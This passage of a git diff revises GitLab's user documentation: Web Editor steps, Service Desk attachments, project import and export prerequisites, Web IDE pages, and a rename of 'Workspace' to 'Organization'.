-1. Give the tag a name such as `v1.0.0`. -1. Choose the branch or SHA from which you want to create this new tag. -1. Optional. Add a message and release notes. The release notes section supports - Markdown format. -1. Optional. Upload an attachment. -1. Select **Create tag**. GitLab redirects you to the tag list page. - -  - -## Tips +To create a directory in the Web Editor: -When creating or uploading a new file or creating a new directory, you can -trigger a new merge request rather than committing directly to your default branch: +1. On the top bar, select **Main menu > Projects** and find your project. +1. From the project dashboard or repository, next to the branch name, select the plus icon (**{plus}**). +1. From the dropdown list, select **New directory**. +1. Complete the fields. To create a merge request with the new directory, ensure the **Start a new merge request with these changes** toggle is turned on. +1. Select **Create directory**. -1. Enter a new branch name in the **Target branch** field. -1. GitLab displays the **Start a new merge request with these changes** checkbox. -1. Commit your changes, and GitLab redirects you to a new merge request form. +## Create a branch -  +To create a [branch](branches/index.md) in the Web Editor: -If you'd prefer to not use your primary email address for commits created -through the web editor, you can choose to use another of your linked email -addresses from the **User Settings > Edit Profile** page. +1. On the top bar, select **Main menu > Projects** and find your project. +1. From the project dashboard or repository, next to the branch name, select the plus icon (**{plus}**). +1. From the dropdown list, select **New branch**. +1. Complete the fields. +1. Select **Create branch**. -<!-- ## Troubleshooting +## Create a tag -Include any troubleshooting steps that you can foresee. If you know beforehand what issues -one might have when setting this up, or when something is changed, or on upgrading, it's -important to describe those, too. Think of things that may go wrong and include them here. -This is important to minimize requests for support, and to avoid doc comments with -questions that you know someone might ask. +You can create [tags](../../../topics/git/tags.md) to mark milestones such as +production releases and release candidates. To create a tag in the Web Editor: -Each scenario can be a third-level heading, for example `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place -but commented out to help encourage others to add to it in the future. --> +1. On the top bar, select **Main menu > Projects** and find your project. +1. From the project dashboard or repository, next to the branch name, select the plus icon (**{plus}**). +1. From the dropdown list, select **New tag**. +1. Complete the fields. +1. Select **Create tag**. diff --git a/doc/user/project/service_desk.md b/doc/user/project/service_desk.md index 0b52440d1e6..83cf47d508c 100644 --- a/doc/user/project/service_desk.md +++ b/doc/user/project/service_desk.md @@ -1,6 +1,6 @@ --- -stage: Plan -group: Certify +stage: Monitor +group: Respond info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- @@ -111,6 +111,12 @@ With Service Desk, you can use templates for: - [New note emails](#new-note-email) - [New Service Desk issues](#new-service-desk-issues) +#### Email header and footer **(FREE SELF)** + +Instance administrators can add a small header or footer to the GitLab instance and make them +visible in the email template. For more information, see +[System header and footer messages](../admin_area/appearance.md#system-header-and-footer-messages). + #### Thank you email When a user submits an issue through Service Desk, GitLab sends a **thank you email**. @@ -359,6 +365,17 @@ Note that: - The project's visibility (private, internal, public) does not affect Service Desk. - The path to the project, including its group or namespace, is shown in emails. +#### Receiving files attached to comments as email attachments + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11733) in GitLab 15.8 [with a flag](../../administration/feature_flags.md) named `service_desk_new_note_email_native_attachments`. Disabled by default. + +FLAG: +On self-managed GitLab, by default this feature is not available. To make it available per project or for your entire instance, ask an administrator to [enable the feature flag](../../administration/feature_flags.md) named `service_desk_new_note_email_native_attachments`. +On GitLab.com, this feature is not available. + +If a comment contains any attachments and their total size is less than or equal to 10 MB, these +attachments are sent as part of the email. In other cases, the email contains links to the attachments. + #### Privacy considerations Service Desk issues are confidential, but the project owner can diff --git a/doc/user/project/settings/import_export.md b/doc/user/project/settings/import_export.md index d83a80ddb13..b85f52d43bb 100644 --- a/doc/user/project/settings/import_export.md +++ b/doc/user/project/settings/import_export.md @@ -27,14 +27,22 @@ To preserve contribution history, [migrate using direct transfer](../../group/im If you migrate from GitLab.com to self-managed GitLab, an administrator can create users on the self-managed GitLab instance. -## Set up project to migrate using file exports +## Configure file exports as an import source **(FREE SELF)** -Before you can import or export a project and its data, you must set it up. +Before you can migrate projects on a self-managed GitLab instance using file exports, GitLab administrators must: +1. [Enable file exports](../../admin_area/settings/visibility_and_access_controls.md#enable-project-export) on the source + instance. +1. Enable file exports as an import source for the destination instance. On GitLab.com, file exports are already enabled + as an import source. + +To enable file exports as an import source for the destination instance: + +1. On the top bar, select **Main menu > Admin**. 1. On the left sidebar, select **Settings > General**. 1. Expand **Visibility and access controls**. 1. Scroll to **Import sources**. -1. Enable the desired **Import sources**. +1. Select the **GitLab export** checkbox. ## Between CE and EE @@ -53,6 +61,7 @@ Prerequisites: - Review the list of [items that are exported](#items-that-are-exported). Not all items are exported. - You must have at least the Maintainer role for the project. +- Users must [set a public email](../../profile/index.md#set-your-public-email) in the source GitLab instance that matches one of their verified emails in the target GitLab instance for the user mapping to work correctly. To export a project and its data, follow these steps: @@ -136,12 +145,13 @@ Prerequisites: - You must have [exported the project and its data](#export-a-project-and-its-data). - Compare GitLab versions and ensure you are importing to a GitLab version that is the same or later than the GitLab version you exported to. -- Review the [Version history](#version-history) - for compatibility issues. +- Review the [Version history](#version-history) for compatibility issues. +- At least the Maintainer role on the destination group to migrate to. Using the Developer role for this purpose was + [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. To import a project: -1. When [creating a new project](../working_with_projects.md#create-a-project), +1. When [creating a new project](../index.md#create-a-project), select **Import project**. 1. In **Import project from**, select **GitLab export**. 1. Enter your project name and URL. Then select the file you exported previously. @@ -212,6 +222,11 @@ To help avoid abuse, by default, users are rate limited to: ## Version history +### 15.8+ + +Starting with GitLab 15.8, importing groups from a JSON export is no longer supported. Groups must be imported +in NDJSON format. + ### 14.0+ In GitLab 14.0, the JSON format is no longer supported for project and group exports. To allow for a diff --git a/doc/user/project/settings/index.md b/doc/user/project/settings/index.md index a88427ab20b..3798643549d 100644 --- a/doc/user/project/settings/index.md +++ b/doc/user/project/settings/index.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: 'To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments' type: reference, index, howto --- @@ -239,7 +239,7 @@ Prerequisites: - You must have at least the Maintainer role for the [group](../../group/manage.md#create-a-group) to which you are transferring. - You must be the Owner of the project you transfer. - The group must allow creation of new projects. -- The project must not contain any [container images](../../packages/container_registry/index.md#known-issues). +- The project must not contain any [container images](../../packages/container_registry/index.md#move-or-rename-container-registry-repositories). - Remove any npm packages. If you transfer a project to a different root namespace, the project must not contain any npm packages. When you update the path of a user or group, or transfer a subgroup or project, you must remove any npm packages first. You cannot update the root namespace of a project with npm packages. Make sure you update your .npmrc files to follow the naming convention and run npm publish if necessary. To transfer a project: diff --git a/doc/user/project/web_ide/index.md b/doc/user/project/web_ide/index.md index fb100986df9..4648df7dbd7 100644 --- a/doc/user/project/web_ide/index.md +++ b/doc/user/project/web_ide/index.md @@ -91,21 +91,17 @@ You can pick a theme from your [profile preferences](../../profile/preferences.m |-------------------------------------------------------------|-----------------------------------------| |  |  | -## Highlight lines +## Link to specific lines -The Web IDE is built with the [Web Editor](../repository/web_editor.md). This enables the Web IDE to share the -same core features for highlighting and linking to particular lines in the edited files -[described for the Web Editor](../repository/web_editor.md#highlight-lines). +The Web IDE and the [Web Editor](../repository/web_editor.md) share the +same core features. To link to specific lines in the Web IDE, see +[Web Editor](../repository/web_editor.md#link-to-specific-lines). ## Schema based validation -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218472) validation based on predefined schemas in GitLab 13.2 [with a flag](../../../administration/feature_flags.md) named `schema_linting`. Disabled by default. - -FLAG: -On self-managed GitLab, by default this feature is not available. To make it available for your entire instance, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `schema_linting`. -This feature cannot be enabled or disabled per-project. -On GitLab.com, this feature is available. -You should not use this feature for production environments. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218472) validation based on predefined schemas in GitLab 13.2 [with a flag](../../../administration/feature_flags.md) named `schema_linting`. +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104399) in GitLab 15.7. +> - On self-managed GitLab [enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107488) in GitLab 15.8. The Web IDE provides validation support for certain JSON and YAML files using schemas based on the [JSON Schema Store](https://www.schemastore.org/json/). @@ -446,13 +442,12 @@ when: - You select any area outside the file editor after editing a file. - A file or folder is created, deleted, or renamed. -### Limitations +### Known issues The Web IDE has a few limitations: - Interactive Terminals is in a beta phase and continues to be improved in upcoming releases. In the meantime, the user is limited to having only one active terminal at a time. - - LFS files can be rendered and displayed but they cannot be updated and committed using the Web IDE. If an LFS file is modified and pushed to the repository, the LFS pointer in the repository is overwritten with the modified LFS file content. ### Troubleshooting @@ -463,3 +458,7 @@ The Web IDE has a few limitations: - If the terminal displays **Connection Failure**, then the terminal could not connect to the runner. Try to stop and restart the terminal. If the problem persists, double check your runner configuration. + +## Related topics + +- [Web IDE Beta](../web_ide_beta/index.md) diff --git a/doc/user/project/web_ide_beta/index.md b/doc/user/project/web_ide_beta/index.md index ef07cca465d..4f84110a038 100644 --- a/doc/user/project/web_ide_beta/index.md +++ b/doc/user/project/web_ide_beta/index.md @@ -6,17 +6,17 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Web IDE Beta **(FREE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/95169) in GitLab 15.4 [with a flag](../../../administration/feature_flags.md) named `vscode_web_ide`. Disabled by default. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/95169) in GitLab 15.7 [with a flag](../../../administration/feature_flags.md) named `vscode_web_ide`. Disabled by default. FLAG: -On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `vscode_web_ide`. On GitLab.com, this feature is available. +On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `vscode_web_ide`. On GitLab.com, this feature is available. The feature is not ready for production use. As announced in [this blog post](https://about.gitlab.com/blog/2022/05/23/the-future-of-the-gitlab-web-ide/), -the current implementation of the Web IDE is being replaced with an -implementation inspired by Visual Studio Code. +the current implementation of the [Web IDE](../web_ide/index.md) is being replaced +with an implementation powered by Visual Studio Code. This effort is still under +development. For updates, see [this epic](https://gitlab.com/groups/gitlab-org/-/epics/7683). -This effort is currently under development. For updates, -see [this epic](https://gitlab.com/groups/gitlab-org/-/epics/7683). +To pair the Web IDE Beta with a Remote Development environment, see [Remote Development](../remote_development/index.md). ## Enable the Web IDE Beta @@ -34,7 +34,7 @@ To open the Web IDE Beta from anywhere in the UI: - Use the <kbd>.</kbd> [keyboard shortcut](../../shortcuts.md). You can also open the Web IDE Beta when viewing a file, the repository file list, -and from merge requests. +or a merge request. ### Use when viewing a file or the repository file list @@ -59,45 +59,48 @@ To open the Web IDE Beta from a merge request: To open any file by its name: -1. Type **Command** + **`P`** (<kbd>⌘</kbd> + <kbd>P</kbd>). -1. Type the name of your file. +1. Press <kbd>Command</kbd>+<kbd>P</kbd>. +1. Enter the name of your file.  ## Search across files -You can use VS Code to quickly search all files in the currently opened folder. +You can use VS Code to quickly search all files in the opened folder. -To enter your search term: +To search across files: -1. Type **Shift** + **Command** + **`F`** (<kbd>⇧</kbd> + <kbd>⌘</kbd> + <kbd>F</kbd>). +1. Press <kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>F</kbd>. 1. Enter your search term. In the Web IDE Beta, only partial results from opened files are displayed. Full file search is planned for a later date. -## View list of changed files +## View a list of changed files -To view the list of files you changed in the Web IDE Beta: +To view a list of files you changed in the Web IDE Beta, +in the Activity Bar on the left, select **Source Control**. +Your `CHANGES`, `STAGED CHANGES`, and `MERGE CHANGES` are displayed. -- On the VS Code Activity Bar, on the left, select the Source Control icon: +For details, see the [VS Code documentation](https://code.visualstudio.com/docs/sourcecontrol/overview#_commit). -Your `CHANGES`, `STAGED CHANGES` and `MERGE CHANGES` are displayed. +## Stop using the Web IDE Beta -For details, see [the VS Code documentation](https://code.visualstudio.com/docs/sourcecontrol/overview#_commit). +If you do not want to use the Web IDE Beta, you can change your personal preferences. + +1. On the top bar, in the top right corner, select your avatar. +1. Select **Preferences**. +1. In the **Web IDE** section, select the **Opt out of the Web IDE Beta** checkbox. +1. Select **Save changes**. ## Known issues The [Web Terminal](../web_ide/index.md#interactive-web-terminals-for-the-web-ide) and [Live Preview](../web_ide/index.md#live-preview) are not available in the Web IDE Beta. -These features may become available at a later date. +These features might become available at a later date. -### Stop using the Web IDE Beta +## Related topics -If you do not want to use the Web IDE Beta, you can change your personal preferences. - -1. On the top bar, in the top right corner, select your avatar. -1. Select **Preferences**. -1. In the **Web IDE** section, select the **Opt out of the Web IDE Beta** checkbox. -1. Select **Save changes**. +- [Remote Development](../remote_development/index.md) +- [Web IDE](../web_ide/index.md) diff --git a/doc/user/project/working_with_projects.md b/doc/user/project/working_with_projects.md index 77a7c48658e..92db90d66dc 100644 --- a/doc/user/project/working_with_projects.md +++ b/doc/user/project/working_with_projects.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments" --- @@ -16,7 +16,7 @@ To view projects, on the top bar, select **Main menu > Projects > View all proje NOTE: The **Explore projects** tab is visible to unauthenticated users unless the [**Public** visibility level](../admin_area/settings/visibility_and_access_controls.md#restrict-visibility-levels) -is restricted. Then the tab is visible only to signed-in users. +is restricted. Then the tab is visible only to authenticated users. ### Who can view the Projects page @@ -56,196 +56,6 @@ You can assign topics to a project on the [Project Settings page](settings/index If you're an instance administrator, you can administer all project topics from the [Admin Area's Topics page](../admin_area/index.md#administering-topics). -## Create a project - -To create a project in GitLab: - -1. On the top bar, select **Main menu > Projects > View all projects**. -1. On the right of the page, select **New project**. -1. Select an option: - - Create a [blank project](#create-a-blank-project). - - Create a project from a: - - [built-in template](#create-a-project-from-a-built-in-template). - - [custom template](#create-a-project-from-a-custom-template). - - [HIPAA audit protocol template](#create-a-project-from-the-hipaa-audit-protocol-template). - - [Import a project](../../user/project/import/index.md) - from a different repository. Contact your GitLab administrator if this option is not available. - - [Connect an external repository to GitLab CI/CD](../../ci/ci_cd_for_external_repos/index.md). - -- For a list of words that you cannot use as project names, see - [reserved project and group names](../../user/reserved_names.md). -- For a list of characters that you cannot use in project and group names, see - [limitations on project and group names](../../user/reserved_names.md#limitations-on-project-and-group-names). - -## Create a blank project - -To create a blank project: - -1. On the top bar, select **Main menu > Projects > View all projects**. -1. On the right of the page, select **New project**. -1. Select **Create blank project**. -1. Enter the project details: - - In the **Project name** field, enter the name of your project. You cannot use special characters at - the start or end of a project name. - - In the **Project slug** field, enter the path to your project. The GitLab instance uses the - slug as the URL path to the project. To change the slug, first enter the project name, - then change the slug. - - In the **Project deployment target (optional)** field, select your project's deployment target. - This information helps GitLab better understand its users and their deployment requirements. - - To modify the project's [viewing and access rights](../public_access.md) for - users, change the **Visibility Level**. - - To create README file so that the Git repository is initialized, has a default branch, and - can be cloned, select **Initialize repository with a README**. - - To analyze the source code in the project for known security vulnerabilities, - select **Enable Static Application Security Testing (SAST)**. -1. Select **Create project**. - -## Create a project from a built-in template - -A built-in project template populates a new project with files to get you started. -Built-in templates are sourced from the following groups: - -- [`project-templates`](https://gitlab.com/gitlab-org/project-templates) -- [`pages`](https://gitlab.com/pages) - -Anyone can [contribute a built-in template](../../development/project_templates.md). - -To create a project from a built-in template: - -1. On the top bar, select **Main menu > Projects > View all projects**. -1. On the right of the page, select **New project**. -1. Select **Create from template**. -1. Select the **Built-in** tab. -1. From the list of templates: - - To view a preview of the template, select **Preview**. - - To use a template for the project, select **Use template**. -1. Enter the project details: - - In the **Project name** field, enter the name of your project. You cannot use special characters at - the start or end of a project name. - - In the **Project slug** field, enter the path to your project. The GitLab instance uses the - slug as the URL path to the project. To change the slug, first enter the project name, - then change the slug. - - In the **Project description (optional)** field, enter the description of your project's dashboard. - - To modify the project's [viewing and access rights](../public_access.md) for users, - change the **Visibility Level**. -1. Select **Create project**. - -## Create a project from a custom template **(PREMIUM)** - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6860) in GitLab 11.2. - -Custom project templates are available at: - -- The [instance-level](../../user/admin_area/custom_project_templates.md) -- The [group-level](../../user/group/custom_project_templates.md) - -1. On the top bar, select **Main menu > Projects > View all projects**. -1. On the right of the page, select **New project**. -1. Select **Create from template**. -1. Select the **Instance** or **Group** tab. -1. From the list of templates: - - To view a preview of the template, select **Preview**. - - To use a template for the project, select **Use template**. -1. Enter the project details: - - In the **Project name** field, enter the name of your project. You cannot use special characters at - the start or end of a project name. - - In the **Project slug** field, enter the path to your project. The GitLab instance uses the - slug as the URL path to the project. To change the slug, first enter the project name, - then change the slug. - - The description of your project's dashboard in the **Project description (optional)** field. - - To modify the project's [viewing and access rights](../public_access.md) for users, - change the **Visibility Level**. -1. Select **Create project**. - -## Create a project from the HIPAA Audit Protocol template **(ULTIMATE)** - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13756) in GitLab 12.10 - -The HIPAA Audit Protocol template contains issues for audit inquiries in the -HIPAA Audit Protocol published by the U.S Department of Health and Human Services. - -To create a project from the HIPAA Audit Protocol template: - -1. On the top bar, select **Main menu > Projects > View all projects**. -1. On the right of the page, select **New project**. -1. Select **Create from template**. -1. Select the **Built-in** tab. -1. Locate the **HIPAA Audit Protocol** template: - - To view a preview of the template, select **Preview**. - - To use the template for the project, select **Use template**. -1. Enter the project details: - - In the **Project name** field, enter the name of your project. You cannot use special characters at - the start or end of a project name. - - In the **Project slug** field, enter the path to your project. The GitLab instance uses the - slug as the URL path to the project. To change the slug, first enter the project name, - then change the slug. - - In the **Project description (optional)** field, enter the description of your project's dashboard. - - To modify the project's [viewing and access rights](../public_access.md) for users, - change the **Visibility Level**. -1. Select **Create project**. - -## Create a new project with Git push - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/26388) in GitLab 10.5. - -Use `git push` to push a local project repository to GitLab. After you push a repository, -GitLab creates your project in your chosen namespace. - -You cannot use `git push` to create projects with project paths that: - -- Have previously been used. -- Have been [renamed](settings/index.md#rename-a-repository). - -Previously used project paths have a redirect. The redirect causes push attempts to redirect requests -to the renamed project location, instead of creating a new project. To create a new project for a previously -used or renamed project, use the [UI](#create-a-project) or the [Projects API](../../api/projects.md#create-project). - -Prerequisites: - -- To push with SSH, you must have [an SSH key](../ssh.md) that is - [added to your GitLab account](../ssh.md#add-an-ssh-key-to-your-gitlab-account). -- You must have permission to add new projects to a namespace. To check if you have permission: - - 1. On the top bar, select **Main menu > Groups** and find your group. - 1. Confirm that **New project** is visible in the upper right - corner. Contact your GitLab - administrator if you require permission. - -To push your repository and create a project: - -1. Push with SSH or HTTPS: - - To push with SSH: - - ```shell - git push --set-upstream git@gitlab.example.com:namespace/myproject.git master - ``` - - - To push with HTTPS: - - ```shell - git push --set-upstream https://gitlab.example.com/namespace/myproject.git master - ``` - - - For `gitlab.example.com`, use the domain name of the machine that hosts your Git repository. - - For `namespace`, use the name of your [namespace](../namespace/index.md). - - For `myproject`, use the name of your project. - - Optional. To export existing repository tags, append the `--tags` flag to your `git push` command. -1. Optional. To configure the remote: - - ```shell - git remote add origin https://gitlab.example.com/namespace/myproject.git - ``` - -When the push completes, GitLab displays the message: - -```shell -remote: The private project namespace/myproject was created. -``` - -To view your new project, go to `https://gitlab.example.com/namespace/myproject`. -Your project's visibility is set to **Private** by default. To change project visibility, adjust your -[project's settings](../public_access.md#change-project-visibility). - ## Star a project You can add a star to projects you use frequently to make them easier to find. diff --git a/doc/user/public_access.md b/doc/user/public_access.md index acfc28a6f65..773c14c9ec8 100644 --- a/doc/user/public_access.md +++ b/doc/user/public_access.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments type: reference --- @@ -32,19 +32,19 @@ They are listed in the public access directory (`/public`) for all users. Public groups can have public, internal, or private subgroups. -**Any signed-in user** has the Guest role on the repository. +**Any authenticated user** has the Guest role on the repository. NOTE: By default, `/public` is visible to unauthenticated users. However, if the [**Public** visibility level](admin_area/settings/visibility_and_access_controls.md#restrict-visibility-levels) -is restricted, `/public` is visible only to signed-in users. +is restricted, `/public` is visible only to authenticated users. ## Internal projects and groups **(FREE SELF)** -Internal projects can be cloned by any signed-in user except +Internal projects can be cloned by any authenticated user except [external users](admin_area/external_users.md). -They are also listed in the public access directory (`/public`), but only for signed-in users. +They are also listed in the public access directory (`/public`), but only for authenticated users. Internal groups can have internal or private subgroups. diff --git a/doc/user/read_only_namespaces.md b/doc/user/read_only_namespaces.md index b11aac9b00c..345a3a87189 100644 --- a/doc/user/read_only_namespaces.md +++ b/doc/user/read_only_namespaces.md @@ -2,7 +2,6 @@ stage: Growth group: Acquisition info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments -noindex: true --- # Read-only namespaces **(FREE SAAS)** diff --git a/doc/user/reserved_names.md b/doc/user/reserved_names.md index 3eaf3178f3a..372ec141112 100644 --- a/doc/user/reserved_names.md +++ b/doc/user/reserved_names.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- diff --git a/doc/user/search/img/search_navbar_v15_7.png b/doc/user/search/img/search_navbar_v15_7.png Binary files differindex 9175347b36f..775c7f32b37 100644 --- a/doc/user/search/img/search_navbar_v15_7.png +++ b/doc/user/search/img/search_navbar_v15_7.png diff --git a/doc/user/search/img/search_scope_v15_7.png b/doc/user/search/img/search_scope_v15_7.png Binary files differindex 6395b5f1cda..96f6e985523 100644 --- a/doc/user/search/img/search_scope_v15_7.png +++ b/doc/user/search/img/search_scope_v15_7.png diff --git a/doc/user/snippets.md b/doc/user/snippets.md index ee84f8a4169..70669748cd8 100644 --- a/doc/user/snippets.md +++ b/doc/user/snippets.md @@ -1,6 +1,6 @@ --- stage: Create -group: Editor +group: Source Code info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments" type: reference --- diff --git a/doc/user/ssh.md b/doc/user/ssh.md index 1d82d301e9a..b71b120d246 100644 --- a/doc/user/ssh.md +++ b/doc/user/ssh.md @@ -278,7 +278,8 @@ To learn more about using 1Password with SSH keys, see [1Password's documentatio ## Add an SSH key to your GitLab account -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/271239) in GitLab 15.4, default expiration date suggested in UI. +> - Suggested default expiration date for keys [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/271239) in GitLab 15.4. +> - Usage types for SSH keys [added](https://gitlab.com/gitlab-org/gitlab/-/issues/383046) in GitLab 15.7. To use SSH with GitLab, copy your public key to your GitLab account: diff --git a/doc/user/tasks.md b/doc/user/tasks.md index ffe7777fac0..aad53f4165c 100644 --- a/doc/user/tasks.md +++ b/doc/user/tasks.md @@ -30,8 +30,8 @@ and so you can provide a more accurate issue weight and completion criteria. Tasks are a type of work item, a step towards [default issue types](https://gitlab.com/gitlab-org/gitlab/-/issues/323404) in GitLab. For the roadmap of migrating issues and [epics](group/epics/index.md) -to work items and adding custom work item types, visit -[epic 6033](https://gitlab.com/groups/gitlab-org/-/epics/6033) or +to work items and adding custom work item types, see +[epic 6033](https://gitlab.com/groups/gitlab-org/-/epics/6033) or the [Plan direction page](https://about.gitlab.com/direction/plan/). ## View tasks @@ -168,6 +168,10 @@ To change the assignee on a task: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/339756) in GitLab 15.5. +Prerequisites: + +- You must have at least the Reporter role for the project. + To add [labels](project/labels.md) to a task: 1. In the issue description, in the **Tasks** section, select the title of the task you want to edit. The task window opens. @@ -225,7 +229,7 @@ To add a task to a milestone: 1. In the issue description, in the **Tasks** section, select the title of the task you want to edit. The task window opens. 1. Next to **Milestone**, select **Add to milestone**. -If a task already belongs to a milestone, the dropdown list shows the current milestone. + If a task already belongs to a milestone, the dropdown list shows the current milestone. 1. From the dropdown list, select the milestone to be associated with the task. ## Set task weight **(PREMIUM)** diff --git a/doc/user/todos.md b/doc/user/todos.md index 4102d31cfc4..221e89d658c 100644 --- a/doc/user/todos.md +++ b/doc/user/todos.md @@ -50,6 +50,8 @@ A to-do item is added to your To-Do List when: merge request is removed from a [merge train](../ci/pipelines/merge_trains.md), and you're the user that added it. +- [In GitLab 15.8](https://gitlab.com/gitlab-org/gitlab/-/issues/374725) and later, + a member access request is raised for a group or project you're an owner of. When several actions occur for the same user on the same object, GitLab displays the first action as a single to-do item. diff --git a/doc/user/usage_quotas.md b/doc/user/usage_quotas.md index 0e5703caffc..c6c27f36618 100644 --- a/doc/user/usage_quotas.md +++ b/doc/user/usage_quotas.md @@ -7,6 +7,15 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Storage usage quota **(FREE)** +Storage usage statistics are available for projects and namespaces. You can use that information to +manage storage usage within the applicable quotas. + +Statistics include: + +- Storage usage across projects in a namespace. +- Storage usage that exceeds the storage quota. +- Available purchased storage. + ## View storage usage Prerequisites: diff --git a/doc/user/workspace/index.md b/doc/user/workspace/index.md index 4a8b083e3a2..e4e1edd6346 100644 --- a/doc/user/workspace/index.md +++ b/doc/user/workspace/index.md @@ -1,10 +1,10 @@ --- stage: Manage -group: Workspace +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Workspace +# Organization DISCLAIMER: This page contains information related to upcoming products, features, and functionality. @@ -15,9 +15,9 @@ The development, release, and timing of any products, features, or functionality sole discretion of GitLab Inc. NOTE: -Workspace is in development. +Organization is in development. -Workspace will be above the [top-level namespaces](../namespace/index.md) for you to manage +Organization will be above the [top-level namespaces](../namespace/index.md) for you to manage everything you do as a GitLab administrator, including: - Defining and applying settings to all of your groups, subgroups, and projects. @@ -26,11 +26,11 @@ everything you do as a GitLab administrator, including: Our goal is to reach feature parity between SaaS and self-managed installations, with all [Admin Area settings](/ee/user/admin_area/settings/index.md) moving to either: -- Groups. Available in the Workspace, top-level groups, and subgroups. +- Groups. Available in the Organization, and subgroups. - Hardware Controls. For functionality that does not apply to groups, Hardware Controls are only applicable to self-managed installations. There is one Hardware Controls section per installation. -For more information about the state of workspace development, +For more information about the state of organization development, see [epic 9265](https://gitlab.com/groups/gitlab-org/-/epics/9265). <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> @@ -39,4 +39,4 @@ For a video introduction to the new hierarchy concept for groups and projects fo ## Related topics -- [Workspace developer documentation](../../development/workspace/index.md) +- [Organization developer documentation](../../development/workspace/index.md) |
